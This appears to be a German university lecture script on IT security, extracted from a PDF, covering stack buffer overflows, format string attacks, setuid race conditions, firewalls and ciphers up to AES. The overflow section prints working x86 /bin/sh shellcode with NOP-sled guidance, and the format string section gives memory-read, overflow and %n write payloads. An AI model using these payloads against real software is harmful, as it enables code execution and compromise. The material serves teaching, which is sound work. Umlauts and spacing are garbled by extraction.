Abbildung 4.1: Intel ix86 Stacklayout und Prozeduraufrufe

• Schließlich wird Platz f̈ur die lokalen Variablen der Prozedur auf den Stack reser-
viert.

• Beim Rücksprung aus einer Prozedur wird der Befehlszähler und der aktuelle Fra-
mepointer aus den im Stack gesicherten Daten restauriert.

Abbildung4.1zeigt die Speicheraufteilung eines Linux-Prozesses auf einem ix86 Prozes-
sor. Der linke Teil zeigt den Stackinhalt nach Aufruf der folgenden C Funktion:

static void
function(int a, int b, int c)
{

char buffer1[25];
char buffer2[40];

}

Ein Funktionsaufruf der Formfunction(1, 2, 3) wird vom gcc in folgenden As-
semblercodëubersetzt:

pushl $3 ; 3 auf den Stack kopieren
pushl $2 ; 2 auf den Stack kopieren
pushl $1 ; 1 auf den Stack kopieren
call function ; Prozeduraufruf (IP auf den Stack sichern)

Die Prozedurfunction startet mit folgendem Prolog:
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function:
pushl %ebp ; framepointer auf dem Stack sichern
movl %esp,%ebp ; neuen framepointer laden
subl $88,%esp ; 40 Bytes auf dem Stack allokieren

Der Compiler allokiert offensichtlich mehr Platz (88 Bytes) als minimal notwendig (65 By-
tes) um eine bessere Ausrichtung auf

”
gerade“ Speicheradressen (alignment) zu erreichen.

Offensichtlich kann die R̈ucksprungadresse durch einen Pufferüberlauf ver̈andert werden.

static void
function(int a, int b, int c)
{

char buffer1[25];
char buffer2[40];
int *ret;

ret = (int *) (buffer1 + 32);
(*ret) += 10;

}

int
main(int argc, char **argv)
{

int x;

x = 0;
function(1, 2, 3);
x = 1;
return x;

}

In der Funktionfunction() zeigt ret auf die R̈ucksprungadresse, die 32 Bytes ober-
halb vombuffer1 im Stack liegt. Die Anweisung(*ret) += 10 inkrementiert die
Rücksprungadresse, so daß die Maschinenbefehle für die Anweisungx = 1 übersprungen
werden undmain() den Ergebniswert 0 liefert anstatt 1. Die Bytezahlen lassen sind rela-
tiv einfach zu ermitteln indem man das Programübersetzt und mit Hilfe eines Debuggers
disassembliert1.

4.2.2 Ausf̈uhrung von beliebigen Kommandos

Um beliebige Maschinenbefehle ausführen zu k̈onnen, l̈aßt man die R̈ucksprungadresse
auf den Puffer zeigen den manüberlaufen l̈aßt. Offensichtlich ist es für einen Angreifer at-
traktiv, beliebige Systemkommandos ausführen zu k̈onnen. Gesucht ist also ein String, der

1Beim Übersetzen sind Optimierungen auszuschalten, da sonst ein guter Compiler die Zuweisungx =
0 eliminieren wird.
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Maschinencode enthält, um einen Kommandointerpreter zu starten. Der folgende String
leistet das geẅunschte:

static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Der String ist die bin̈are Version des folgenden Assemblercodes:

jmp 0x1f ;# 2 bytes
popl %esi ;# 1 byte
movl %esi,0x8(%esi) ;# 3 bytes
xorl %eax,%eax ;# 2 bytes
movb %eax,0x7(%esi) ;# 3 bytes
movl %eax,0xc(%esi) ;# 3 bytes
movb $0xb,%al ;# 2 bytes
movl %esi,%ebx ;# 2 bytes
leal 0x8(%esi),%ecx ;# 3 bytes
leal 0xc(%esi),%edx ;# 3 bytes
int $0x80 ;# 2 bytes
xorl %ebx,%ebx ;# 2 bytes
movl %ebx,%eax ;# 2 bytes
inc %eax ;# 1 bytes
int $0x80 ;# 2 bytes
call -0x24 ;# 5 bytes
.string \"/bin/sh\" ;# 8 bytes

• Im Angriffstring dürfen nur relative Adressen vorkommen da die exakte Position des
Strings im Stack-Speicher generell nicht bekannt ist.

• Im Angriffstring darf kein 0x00 Byte vorkommen.

• Die Gesamtl̈ange des Angriffstrings ist 46 Bytes.

• Der Assemblercode springt zunächst relativ (jmp 0x1f ) zum call -Befehl. Der
call springt zur̈uck zum Anfang (nach demcall -Befehl) und versucht einexec-
ve() Systemaufruf auf/bin/sh gefolgt von einemexit() Systemaufruf falls
derexecve() Systemaufruf nicht funktioniert.

• Der Start des Zeichenkette"/bin/sh" wird durch dencall auf dem Stack als
nächster Befehl abgelegt.

• Die Systemaufrufe erfolgen durch denint $0x80 , wobei die Parameter mit Hilfe
von Registern̈ubergeben werden.
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Die genaue Position des Angriffstrings im Speicher ist generell nicht bekannt. Man löst
dieses Problem indem man vor den eigentlichen Angriffstring mehrerenop Befehle un-
terbringt und versucht eine passende Adresse imnop -Bereich zu raten (Basisadresse des
Stacks minus geratenem offset). Hinter den Angriffstring kopiert man wiederholt die gera-
tene Einsprungadresse, da man die genaue Position des instruction pointers auf dem Stack
in der Regel auch nicht kennt.

instruction pointer (4 Byte)
frame pointer (4 Byte)

buffer1 (40 Bytes)

a (4 Byte)
b (4 Byte)
c (4 Byte)

buffer2 (48 Bytes)
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �

� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �

(text region)

Programmtext

Stackbereich

(stack region)

Datenbereich

(data region)

shellcode

nop

/bin/sh

0x00000000

bottom of stack

offset

jump address

(bottom of stack
+ offset)

Abbildung 4.2: Angriffstring im Intel ix86 Stacklayout

4.3 Probleme durch variable Formatangabe

Die Standardbibliothek der Sprache C definiert eine Sammlung von Funktionen (printf ,
fprintf , sprintf , snprintf , . . .), mit denen primitive C Datentypen in ein für Men-
schen leicht lesbares Format umgewandelt werden können. Diese Funktionen haben eine
variable Anzahl von Argumenten, wobei ein spezielles Argument, die sogenannte Format-
angabe, Informationen darüber entḧalt, wie dieübrigen Argumente zu interpretieren sind.

printf("The answer is: \%d\n", 42);

Die wichtigsten Formatangaben sind in Abbildung4.1 zusammengefaßt. Sicherheitspro-
bleme entstehen durch die fehlerhafte Verwendung dieser Funktionen. Besonders gravie-
rend sind F̈alle, bei denen Benutzereingaben die Formatangaben manipulieren können.

static void
function(const char *input)
{

printf(input);
}
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Im Vergleich zu Puffer̈uberl̈aufen lassen sich jedoch solche Programmierfehler mit Werk-
zeugen entdecken.

Format Beschreibung Übergabe
%d vorzeichenbehaftete Dezimalzahl (int) Wert
%u vorzeichenlose Dezimalzahl (unsigned int) Wert
%x vorzeichenlose Hexadezimalzahl (unsigned int) Wert
%p Adresse eines Zeigers als Hexadezimalzahl (void *) Wert
%s Zeichenkette (const char *) Referenz
%n Anzahl der bisher geschriebenen Bytes (int *) Referenz

Tabelle 4.1:

4.3.1 Angriffsmöglichkeiten

Die simpleste Form ist ein Angriff, bei dem Formatangaben benutzt werden, die ein Pro-
gramm relativ sicher zum Absturz bringen, wie z.B.:

"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s"

Wenn es m̈oglich ist, die Ausgaben der Formatfunktion zu lesen, dann kann kann man mit
Hilfe der Kontrolle von Formatangaben nützliche Informationen sammeln. Eine Format-
angabe der Form

"%08x.%08x.%08x.%08x.%08x"

bewirkt, daß die n̈achsten f̈unf Parameter (jeweils 32 Bit) auf dem Stack angezeigt werden.
Abhängig von der Gr̈oße des Puffers für die Formatangabe und den Ausgabepuffer kann
mit dieser Trick der gesamte Stack ausgelesen werden.

Unter der Annahme, daß die Formatangabe selbst auf dem Stack liegt, kann man Forma-
tangaben konstruieren, die beliebigen Speicher auslesen können. Man findet die Position
der Formatangabe einfach, indem man solange Parameter vom Stack liest, bis die Format-
angabe selbst gefunden wurde.

"AAA0AAA1_%08x.%08x.%08x.%08x.%08x"

Indem man in der Formatangabe eine Startadresse unterbringt, kann man mit Hilfe der
%s-Angabe beliebigen Speicher auslesen und ggf. damit sogar das laufende Programm
rekonstruieren. Die folgende Formatangabe liest die Speicherstelle0x08480110 :

"\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|"
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In manchen F̈allen kann man auch nach dem im vorigen Abschnitt beschriebenen Verfah-
ren eine Shell bekommen. Ein Beispiel aus verschiedenen realen Programmen (qpop ,
bftpd ):

{
char outbuf[512];
char buffer[512];

sprintf(buffer, "ERR Wrong command: %400s", user);
sprintf(outbuf, buffer);

}

Eine Formatangabe der folgenden Form erzeugt einen klassischen Pufferüberlauf, wobei
die%497dAngabe passend auf den instruction pointer (IP) verweist:

"%497d\x3c\xd3\xff\xbf<nops><shellcode>"

Mit Hilfe der %nAngaben lassen sich auch beliebige Speicherstellen schreiben. Das fol-
gende Beispiel verändert die Speicherstelle0xbfffd33c :

"\x3c\xd3\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n"

4.4 Race-Konditionen

In setuid -Programmen k̈onnen Race-Konditionen vorhanden sein:

if (access(filename, W_OK) == 0) {
if ((fd = open(filename, O_WRONLY)) == NULL) {

perror(filename);
return 0;

}
/* write data to file */

}

Im Beispiel versucht einsetuid -Programm eine Datei nur dann zu schreiben, wenn der
wirkliche Benutzer schreibenden Zugriff auf eine Datei besitzt. Da aber zwischen dem Test
mit access() und demÖffnen der Datei mitopen() eine gewisse Zeit vergeht, besteht
die Möglichkeit, die Dateifilename (evtl. ein symbolischer Link) zwischenzeitlich aus-
zutauschen.
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Literaturhinweise

Die Konstruktion von Angriffstrings f̈ur Puffer̈uberl̈aufe im Stack ist ausführlich in [47]
beschrieben. Eine genaue Beschreibung der Probleme durch variable Formatangaben ist in
[53] zu finden. Ein Programm zur Suche von Race-Konditionen insetuid -Programmen
ist in [5] beschrieben worden.
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Kapitel 5

Sicherheitsprobleme in
Internetprotokollen

5.1 Angriffe auf Netzwerk- und Transportprotokolle

5.2 Angriffe auf Anwendungsprotokolle
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Kapitel 6

Firewalls

6.1 Grundlegende Begriffe

Eine Firewall ist ein System (oder eine Menge von Systemen), das die Einhaltung von
Zugriffsrichtlinien (access control policies) zwischen zwei (oder mehreren) Netzwerken
erzwingt.

Beispiel 11 Eine typische Zugriffsrichtlinie versucht Zugriffe auf inherent unsichere Dien-
ste bzw. Protokolle, die zur Authentifizierung Klartextpassworteübertragen, zu verhindern
(bootp , dhcp , syslog , nfs , netbios , telnet , pop3 ). Außerdem wird man in der
Regel Host- und Port-Scans versuchen zu unterdrücken. Andererseits wird man Zugriffe
auf extern angebotene Dienste (z.B. WWW-Server, FTP-Server, Mail-Server) explizit für
die Server-Adressen zulassen.

Klassifikation von Zugriffsrichtlinien:

• Konservative Zugriffsrichtlinienlassen nur den notwendigen Verkehr zu und sperren
den Rest.

• Optimistische Zugriffsrichtliniensperren nur die bekannten Schwachstellen und las-
sen den Rest zu.

Generelle Anforderungen an eine Firewall:

• Auf den eingesetzten Komponenten darf nur Software vor handen sein, die für die
Funktionsf̈ahigkeit der Firewall n̈otig ist (Minimalsystem). Die benut zte Software
(inkl. aller Konfigurationsdateien!) muß ausführlich dokumentiert und begründet
werden.

• Mindestens einmal täglich sollten Integriẗatstest der eingesetzten Programme und
Konfigurationsdteien durchgeführt werden (z.B. mittels kryptographischer Prüfsum-
men).
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• Es muß m̈oglich sein, die Firewall (bzw. die Filter) so zu konfigurieren, daß nach
einem Systemabsturz jegliche Nutzung der Firewall außer durch den Administrator
unterbunden wird.

6.2 Paketfilter

Paketfilterinspizieren einzelne Datagramme bevor sie weitergeleitet werden und kontrol-
lieren so den Datenfluß zu und aus einem Netzwerk.

• Die Filterregeln testen Eigenschaften der Datagramme wie z.B. Quell- und Ziel-
adresse, Transportprotokoll, Portnummern und Kontrollflags.

• Paketfilter arbeiten typischerweise mit Informationen aus der Netzwerkschicht und
der Transportschicht.

• Neuere Paketfilter k̈onnen in der Regel auch Informationen aus höheren Protokoll-
schichten auswerten und unterstützen zustandsbehaftete Regeln.

• Dynamische Paketfiltermerken sich f̈ur eine gewisse Zeitspanne die Quell- und Ziel-
adressen sowie die Quell- und Zielports eines Datagramms, das aus dem zu schützen-
den Netz in das̈offentliche Internet geschickt wird, und erzeugen eine zeitlich be-
grenzt g̈ultige dynamische Erlaubnisregel für potentielle Antworten.

• Filterregeln sollten f̈ur jede Netzschnittstelle getrennt einstellbar sein.

• Typischerweise werden Regeln beim Empfang von Datagrammen (INPUT), beim
Weiterleiten (FORWARD) und beim Aussenden (OUTPUT)überpr̈uft.

• Jeder Regel ist eine Aktion zugeordnet, wie z.B. das Verwerfen (DENY), das Ver-
werfen mit einer Fehlermeldung (REJECT) und das Durchlassen (ACCEPT).

6.3 Transport Gateways

Kommunikation wird auf der Transportschicht durch ein spezielles Gateway abgewickelt.
Erfordert in der Regel̈Anderungen auf der Seite des Dienstnutzers.

• Realisierung applikationsunabhängiger Proxies.

• Erweiterte Protokollierungsm̈oglichkeiten (Dauer der Verbindungen)
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6.4 Application Gateways

Application Gateways verstehen Anwendungsprotokolle und können daher dienstspezi-
fisch Daten filtern.

• Filterregeln sind f̈ur die einzelnen Dienstprimitive m̈oglich.

• Filterung auf Basis der Inhalte ist m̈oglich (content filtering).

• Zugriffskontrolle kann benutzerspezifisch durchgeführt werden.

• Fragmentierte Datagramme werden korrekt behandelt.

6.5 Basisarchitekturen

• Die einfachste Basisarchitektur ist eine Firewall, die lediglich aus einem Paketfilter
besteht. Meistens ist der Paketfilter direkt im Router untergebracht, der das interne
Netz mit dem externen Netz verbindet (screening router).

Internes Netz
(Intranet)

Externes Netz
(Internet)

Paketfilter

Abbildung 6.1: Firewall mit einfachem Paketfilter

• Die zweite Basisarchitektur ist eine Firewall, die lediglich aus einem Rechner be-
steht, der keine Datagramme weiterleitet und dafür entsprechende Gateways bereit-
stellt (Bastion Host).

Internes Netz
(Intranet)

Externes Netz
(Internet)

Bastion Host

Abbildung 6.2: Firewall mit Bastion Host (keine Weiterleitung)

• Die komplexeste Basisarchitektur ist eine Firewall, die aus zwei Paketfiltern und
mehreren Servern in einer entmilitarisierter Zone besteht.
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Externes Netz
(Internet)

Internes Netz
(Intranet)

WWW−Server

Bastion Host

Paketfilter
Paketfilter

Entmilitarisierte Zone (DMZ)

Abbildung 6.3: Firewall mit entmilitarisierter Zone

6.6 Risiken und Grenzen

• Filterregeln auf der Basis von Domainnamen sind unsicher - zumindest solange keine
sichere Version des DNS Protokolls verwendet wird.

• Komplexe Firewallkonfigurationen enthalten Fehler.

• Eine beachtliche Gefahr lauert innen im Intranet.

• Alternative Zug̈ange (z.B.̈uber Modems) k̈onnen die beste Firewall nutzlos machen.

• Durch strikte Firewalls entstehen oftmals Tunnel, die eigentlich gefilterte Protokolle
über erlaubte Protokolle implementieren und damit die Firewall umgehen.

• Protokolle mit starker Verschlüsselung kann ein Firewall nicht inspizieren und damit
auch nicht mehr sinnvoll filtern.

• Kann man sich auf die gekaufte Firewall-Software wirklich verlassen?

Literaturhinweise

Die Standardwerke zum Thema Firewalls sind [10] und [63].
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Kapitel 7

Kryptographische Verfahren

7.1 Grundlegende Begriffe

• Kryptographie (cryptography)ist die Wissenschaft vom geheimen Schreiben.

• Kryptoanalyse (cryptanalysis)ist die Wissenschaft des Brechens von Chiffren.

• Kryptologieumfaßt die Kryptographie und die Kryptoanalyse.

• Chiffre (chipher)ist eine Methode des Verschlüsselns.

• Klartext (cleartext)ist unverschl̈usselter Text.

• Chiffretext (ciphertext)ist verschl̈usselter Text.

• Chiffrieren (encryption)ist der Vorgang des Verschlüsselns.

• Dechiffrieren (decryption)ist der Vorgang des Enschlüsselns.

• Schl̈ussel (key)ist eine Information, die den Algorithmus zum Chiffrieren oder De-
chiffrieren parametrisiert.

Klartext Chiffretext

chiffrieren

dechiffrieren

Schlüssel

Abbildung 7.1: Prinzipieller Ablauf eines geheimen Informationsaustauschs
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• Blockchiffren (block ciphers)teilen den Klartext vor der Verschlüsselung in Bl̈ocke
(meist fester L̈ange) auf.

• Symmetrische Chiffren (symmetric cipher)benutzen einen gemeinsamen Schlüssel
zum Ver- und Entschlüsseln.

• Asymmetrische Chiffren (asymmetric cipher)benutzen unterschiedliche Schlüssel
zum Ver- und Entschlüsseln.

7.1.1 Kryptosysteme

Ein kryptographisches System(kurz Kryptosystem) ist ein 5-Tupel (M , C, K, Ek, Dk)
bestehend aus einem KlartextraumM , einem ChiffretextraumC, einem Schl̈usselraumK,
einer Familie von ChiffriertransformationenEk : M → C mit k ∈ K und einer Familie
von DechiffriertransformationenDk : C → M mit k ∈ K. Für ein gegebenesk und alle
m ∈M gilt:

Dk(Ek(m)) = m

Anforderungen an ein Kryptosystem:

1. Chiffrier- und Dechiffriertransformationen m̈ussen f̈ur alle Schl̈ussel effizient be-
rechnet werden k̈onnen.

2. Die Systeme m̈ussen leicht zu benutzen sein, d.h. es muß leicht sein, einen Schlüssel
k ∈ K sowie die AbbildungenEk undDk zu finden.

3. Die Sicherheit des Systems sollte auf der Geheimhaltung der Schlüssel und nicht
auf der Geheimhaltung der Algorithmen beruhen. Das bedeutet, daß aufgrund der
Kenntnis der Methode des Chiffrierens und Dechiffrierens noch nicht der Klartext
zu gewinnen ist.

4. Es sollte einem Kryptoanalytiker berechnungsmäßig praktisch unm̈oglich sein, aus
einem abgefangenem Chiffretextc ∈ C

(a) systematischDk zu bestimmen, selbst dann, wenn der Klartextm ∈ M mit
Ek(m) = c bekannt ist, und

(b) den Klartextm ∈M mit Ek(m) = c zu bestimmen.

5. Es sollte einem Kryptoanalytiker berechnungsmäßig praktisch unm̈oglich sein,

(a) systematischEk ausc ∈ C zu bestimmen, selbst dann, wenn der Klartextm ∈
M mit Ek(m) = c bekannt ist, und

(b) einen Chiffretextc′ ∈ C mit c′ 6= c zu finden, so daßDk(c
′) ein g̈ultiger

Klartext ausM ist.
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7.1.2 Substitutionschiffren

Substitutionschiffren beruhen auf der Ersetzung von Buchstaben oder Worten eines Einga-
bealphabets durch Buchstaben oder Worte des Ausgabealphabets.

Einfache Beispiele sind Verschiebechiffren. SeiA = {a0, a1, . . . , an−1} ein Alphabet und
f(a) = (a + k) mod n. Dabei ista sowohl Buchstabe als auch Position inA. k gibt die
Größe der Verschiebung an. Für k = 3 ergibt sich die C̈asar-Chiffre. F̈ur k = 13 ergibt
sich bei Verwendung des AlphabetsA = {a, b, . . . , z} die rot13 Verschl̈usselung.

Beispiel 12 Aus dem Klartext
”
Substitutionschiffre“ wird durch die Verschiebechiffre mit

k = 13 der Chiffretext
”
Fhofgvghgvbafpuvsser“.

Formale Definition von Substitutionschiffren:

• Einfache Substitutionschiffre:
Es seienA undC Alphabete gleicher M̈achtigkeit (Klartext- und Chiffretextalpha-
bet). Eine Chiffre mit einfacher Substitution wird durch eine bijektive Abbildung
f : A→ C gegeben. Dabei istf der Schl̈ussel der Chiffre. (Die Chiffrierung erfolgt
durch den durchf bestimmten Homomorphismus, den wir mit demselben Symbolf
alsf : A∗ → C∗ schreiben.)

Einfache Subsitutionschiffren sind bei bekannter Häufigkeitsverteilung der Zeichen
im Klartext einfach zu brechen. Kompressionsverfahren können vor der Verschlüsselung
angewendet werden, um die Häufigkeitsverteilung des Klartextes zu verändern.

• Homophone Substitutionschiffre:
Es seinenA undC Alphabete. Eine Chiffre mit homophoner Substitution ist durch
die Abbildungf : A → 2C gegeben, f̈ur die für allea1, a2 ∈ A, a1 6= a2, f(a1) 6= ∅
sowie die Beziehungf(a1) ∩ f(a2) = ∅ gilt.

Homophone Substitutionschiffren bilden Klartextzeichen auf potentiell mehrere Zei-
chen im Chiffretext ab, wodurch ein Angriff aufgrund der Häufigkeitsverteilung
schwieriger wird.

• Periodische Substitutionschiffre:
Es seiA ein Klartextalphabet undC1, . . . , Cd seien Chiffretextalphabete. Eine Chif-
fre mit periodischer Substitution ist durch bijektive Abbildungenfi : A → Ci,
1 ≤ i ≤ d, gegeben. Ein Klartext der Form

m = m1 . . .mdmd+1 . . .m2d . . .

wird chiffriert durch:

Ek(m) = f1(m1) . . . fd(md)f1(md+1) . . . fd(m2d) . . .

Durch die periodische Verwendung von mehreren Alphabeten und verschiedener
Substitutionen kann die Ḧaufigkeit von Zeichen im Klartext verborgen werden. Be-
kannte klassische Verfahren sind die Vigenère Chiffre und die Baufort-Chiffre [3].
Problematisch sind die langen Schlüssell̈angen.
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• Polyalphabetische Substitutionschiffren:
Die Zeichen eines Klartextes werden in einer beliebigen festgelegten Reihenfolge
durch verschiedene Abbildungen chiffriert. Periodische Substitutionschiffren sind
Beispiele f̈ur polyalphabetische Substitutionschiffren.

• Polygramm Substitutionschiffren:
Ganze Bl̈ocke von Zeichen des Klartextes werden gemeinsam ersetzt.

7.1.3 Transpositions- und Permutationschiffren

Transpositionschiffren ordnen die Klartextzeichen nach einem festgelegten Schema oder
einer geometrischen Figur um.

Beispiel 13 Der Klartext
”
TRANSPOSITION“ werde in eine3× 5 Matrix eingetragen: T R A N S

P O S I T
I O N


Die Spalten in der Ordnung 2-4-3-5-1 ergeben den Chiffretext

”
ROONI ASNST TPI“.

SeiD ein Alphabet, das als Klartext und Chiffretextalphabet verwendet wird. Eine Trans-
positionschiffre mit fester Permutation wird durch die Permutationf : D → D mit
D = {1, . . . , d} definiert. Der Schl̈ussel ist durch ein Paark = (d, f) gegeben. Ein
Klartext der Form

m = m1 . . .mdmd+1 . . .m2d . . .

wird chiffriert durch:

Ek(m) = mf(1) . . .mf(d)md+f(1) . . .md+f(d) . . .

Die Dechiffrierung erfolgt durch die inverse Permutation.

Beispiel 14 Der Klartext
”
PERMUTATION“ werde durch die Permutationf mit f(1) =

2, f(2) = 4, f(3) = 1, f(4) = 3 mit der Perioded = 4 permutiert. Man schreibt den
Klartext in eine3 × 4 Matrix, vertauscht die Spalten gemäß der Permutation und liest die
Matrix zeilenweise aus. P E R M

U T A T
I O N

 =⇒

 R P M E
A U T T
N I O


Es ergibt sich der Chiffretext

”
RPMEAUTTNI O“.
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7.1.4 Kryptoanalyse

Die Kryptoanalyse beschäftigt sich mit Verfahren, mit denen Chiffretexte entschlüsselt
bzw. ganze Verschlüsselungsverfahren gebrochen werden können. Typische Verfahren der
Kryptoanalyse:

• Brute-Force-Angriff:
Es wird eine erscḧopfende Suchëuber den gesamten Schlüsselraum durchgeführt.
Dieses Verfahren benötigt sehr schnelle Rechner, kann aber im allgemeinen sehr
gut parallelisiert werden. Die Schlüssell̈angen m̈ussen daher groß genug gewählt
werden, damit eine erschöpfende Suche auch mit spezieller Hardware nicht mehr
praktikabel ist.

• Analyse von Ḧaufigkeitsverteilungen:
Kenntnisüber die Verteilung von Ḧaufigkeiten von Zeichen oder Zeichenfolgen in
den Klartextnachrichten kann ausgenutzt werden, um einfache Verfahren zu knacken.

• Avalanche Effekt:
Bei dem Avalanche Effekt wird versucht, durch das gezielte Verändern von einzel-
nen Bits der verschlüsselten Nachricht und dem anschließenden Versuch der Ent-
schl̈usselung mit einem falschen Schlüssel R̈uckschl̈usse auf den richtigen Schlüssel
zu ziehen.

• Geburtstagsangriff:
Bei Einweg-Hashfunktionen verschafft sich ein Angreifer Vorteile, wenn es gelingt,
zwei Klartextem undm′ zu finden, die denselben Hashwert haben,H(m) = H(m′).
Interessanterweise ist es wesentlich einfacher zwei derartige Klartextem undm′ zu
bestimmen als zu einem bestimmten Hashwerth eine Nachrichtn mit h = H(n) zu
finden.

Der Name kommt von dem Geburtstags-Paradoxon: Die Wahrscheinlichkeit, daß
zwei beliebige Personen aus einer Gruppe von 23 Personen am selben Tag Geburts-
tag haben, liegẗuber 50 %. Andererseits benötigt man 183 Personen um eine Wahr-
scheinlichkeit von 50 % zu erreichen, daß eine Person aus der Gruppe den eigenen
Geburtstag teilt.

7.2 Symmetrische Chiffren

Symmetrische Chiffren benutzen zum Ver- und Entschlüsseln denselben Schlüssel und sind
im allgemeinen sehr effizient. Allerdings muß der Schlüssel entsprechend geschützt wer-
den, was insbesondere die Schlüsselverteilung problematisch macht.

34



7.2.1 Data Encryption Standard (DES)

Der Data Encryption Standard (DES) [41, 42, 43] ist derzeit eines der populärsten Chif-
frierverfahren. Das Verfahren besteht aus einer Komposition von Substitutions- und Trans-
positionschiffren und wurde ursprünglich bis 1971 von IBM unter dem Codenamen Lucifer
entwickelt. Lucifer benutzte Schlüssel mit einer L̈ange von 128 Bits. Der DES hingegen,
der 1977 als Standard akzeptiert wurde, benutzt lediglich Schlüssel mit einer L̈ange von
56 Bits, was heutzutage allgemein als nicht ausreichend angesehen wird, um sich gegen
Brute-Force-Angriffe zu scḧutzen.

k1

k2

k16

Initiale Permutation Permutation

Permutation Links Verschiebung

Permutation

Permutation

Links Verschiebung

Links Verschiebung

64 Bit Klartext m 56 Bit Schlüssel k

Runde 16

Runde 2

Runde 1

Finale Permutation

64 Bit Chiffretext c

Abbildung 7.2: Prinzipieller Ablauf des DES-Algorithmus

Grundprinzip des DES:

• Der DES verschl̈usselt Bl̈ocke einer festen L̈ange von 64 Bit. Die Schlüssell̈ange
betr̈agt 56 Bit.

• Der Algorithmus besteht im Kern aus 16 Verschlüsselungsrunden sowie einer initia-
len und finalen Permutation. In den einzelnen Runden werden jeweils Permutationen
des 56 Bit Schl̈ussels verwendet.

• In den einzelnen Runden werden im Kern Permutationen und Substitutionen auf je-
weils 32 Bit der Nachricht angewendet und exklusiv-oder verknüpft.

• Die Operationen in den einzelnen Runden werden durch abgeleitete Teilschlüssel
(k1, k2, . . . , k16) parametrisiert.
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• Zum Ver- und Entschlüsseln wird der gleiche Algorithmus angewendet.

• Hardware-Implementationen leisten eine Chiffrierungsrate von einigen Millionen
Bits pro Sekunde.

• Problematisch ist die Schlüssell̈ange von 56 Bit. Es ist zur Zeit durch die Konstruk-
tion von Spezialrechnern m̈oglich, den gesamten Schlüsselraum in ca. zwei Tagen
zu durchsuchen.

7.2.2 Triple DES

Um der geringen Schlüssell̈ange zu begegnen, kann man DES mehrfach mit unterschied-
lichen Schl̈usseln anwenden. Weit verbreitet hat sich die dreifache Anwendung von DES
(Triple DES):

k 1 k 2 k 1

DES DES

Verschlüsselung

Entschlüsselung

DES DES-1 -1

Klartext Chiffretext

DES

DES-1

Abbildung 7.3: Prinzip des dreifachen DES (Triple DES)

• Dreifache Anwendung des DES mit zwei Schlüsseln liefert eine Schlüssell̈ange von
112 Bits.

• Fallsk1 = k2 ist, so verḧalt sich Triple-DES wie ein normales DES (allerdings nur
mit einer effektiven Schlüssell̈ange von 56 Bit).

• Die doppelte Anwendung von DES liefert nur eine geringe Verbesserung (meet-in-
the-middle Angriff, siehe [56]).

7.2.3 International Data Encryption Algorithm (IDEA)

• Der IDEA verschl̈usselt Bl̈ocke einer festen L̈ange von 64 Bit. Die Schlüssell̈ange
betr̈agt 128 Bit.

• Der Algorithmus besteht aus 8 Runden, die mit jeweils 6 verschiedenen 16 Bit Teil-
schl̈usseln ausgeführt werden, sowie einer abschließenden Transformation, in die 4
weitere 16 Bit Teilschl̈ussel eingehen.
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• IDEA beruht auf Operationen (Exklusiv-Oder, Addition, Multiplikation) aus ver-
schiedenen algebraischen Gruppen der Ordnung216, zwischen denen keine Distri-
butiv- oder Assoziativgesetze gelten.

• Zum Ver- und Entschlüsseln wird der gleiche Algorithmus angewendet.

• Hardware-Implementationen leisten eine Chiffrierungsrate von einigen hundert Mil-
lionen Bits pro Sekunde.

• Software-Implementationen sind in der Geschwindigkeit vergleichbar mit DES Soft-
ware-Implementationen.

Transformation
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Abbildung 7.4: Prinzipieller Ablauf des IDEA-Algorithmus

7.2.4 Advanced Encryption Standard (AES)

Der Advanced Encryption Standard (AES) ist der offizielle Nachfolger des DES. Das Ver-
fahren beruht auf dem Rijndael-Algorithmus [12], der in einem offenen Verfahren aus ur-
spr̈unglich 15 Vorschl̈agen ausgesucht wurde.
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• Der AES verschl̈usselt Bl̈ocke mit einer festen L̈ange von 128 Bits (16 Bytes).

• Die Schl̈ussell̈angen betragen wahlweise 128 (AES-128), 192 (AES-192) oder 256
(AES-256) Bits.

• AES ordnet einen Block als ein zweidimensionales Byte-Array an, das sogenannte
State: 

s00 s01 s02 s03

s10 s11 s12 s13

s20 s21 s22 s23

s30 s31 s32 s33


• Die Eingabe wird in der Reihenfolges00, s10, s20, s30, s31 . . . in das Byte-Array ein-

getragen. Die Anzahl der Spalten im State Byte-Array wird mitNb bezeichnet und
ist beim AES immerNb = 4.

• Der Schl̈ussel wird ebenfalls in der Folgek00, k10, k20, k30, k31 . . . in ein Byte-Array
eingetragen. 

k00 k01 k02 k03

k10 k11 k12 k13

k20 k21 k22 k23

k30 k31 k32 k33


• Die Anzahl der Spalten im Schlüssel Byte-Array wird mitNk bezeichnet.

• Abhängig von der Schlüssell̈ange macht der AlgorithmusNr = 10 (128 Bit),Nr =
12 (192 Bit) oderNr = 14 (256 Bit) Runden.

• Zunächst wird der Schlüssel erweitert um aus dem erweiterten Schlüssel Runden-
schl̈ussel zu entnehmen.

• Als erstes wird dann der Rundenschlüssel auf den im State Byte-Array eingetragenen
Klartext angewendet.

• In den folgendenNr Runden wird jeweils eine Byte Substitution, eine Verschiebung
von Bytes innerhalb der Zeilen, eine Multiplikation mit einem festen Polynom und
der exklusiv oder Verkn̈upfung mit einem Runden-Schlüssel. In der letzten Runde
findet allerdings keine Multiplikation mit einem Polynom statt.

• Zum Entschl̈usseln kommt im wesentlichen derselbe Algorithmus zum Einsatz, wo-
bei die einzelnen Transformationen invertiert werden.

• Das Verfahren kann für 32-Bit Prozessoren optimiert implementiert werden.

7.3 Betriebsarten von Blockchiffren

Blockchiffren wie DES und IDEA verschlüsseln immer einen Block fester Länge. Man
kann solche Blockchiffren in verschiedenen Arten benutzen. Häufig benutzt werden der
Electronic Code Book (ECB) Modus und der Cipher Block Chaining (CBC) Modus.
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7.3.1 Electronic Code Book (ECB)

Beim ECB Modus wird der Klartextm in Blöcke fester L̈ange eingeteilt, wobei die Block-
länge dem verwendeten Verschlüsselungsalgorithmus entsprechen muß (64 Bit bei DES
